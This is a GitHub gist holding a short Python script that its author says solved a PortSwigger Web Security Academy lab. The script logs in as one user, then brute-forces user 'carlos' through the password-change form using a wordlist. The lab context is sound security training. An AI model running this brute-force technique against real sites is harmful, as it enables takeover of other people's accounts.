Skip to content

Instantly share code, notes, and snippets.

@tuananhlai
Created March 24, 2021 05:33
Show Gist options
  • Save tuananhlai/7e23d8220495a62d26a6ac0025d5959f to your computer and use it in GitHub Desktop.
Save tuananhlai/7e23d8220495a62d26a6ac0025d5959f to your computer and use it in GitHub Desktop.
The code I used to solve a portswigger lab about brute-forcing password.
import requests
session = requests.Session()
def login():
url = "https://ac291fbf1e82ce2980c4012800f4005b.web-security-academy.net/login"
payload = {
'username': 'wiener',
'password': 'a'
}
response = session.post(url=url, data=payload, allow_redirects=False)
print(response.status_code)
def change_password(username, old_password):
url = "https://ac291fbf1e82ce2980c4012800f4005b.web-security-academy.net/my-account/change-password"
payload = {
"username": username,
"current-password": old_password,
"new-password-1": "a",
"new-password-2": "a"
}
response = session.post(url=url, data=payload, allow_redirects=False)
print(response.status_code)
if __name__ == '__main__':
passwords = open('password.txt', 'r').read().split('\n')
for p in passwords:
login()
change_password("carlos", p)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment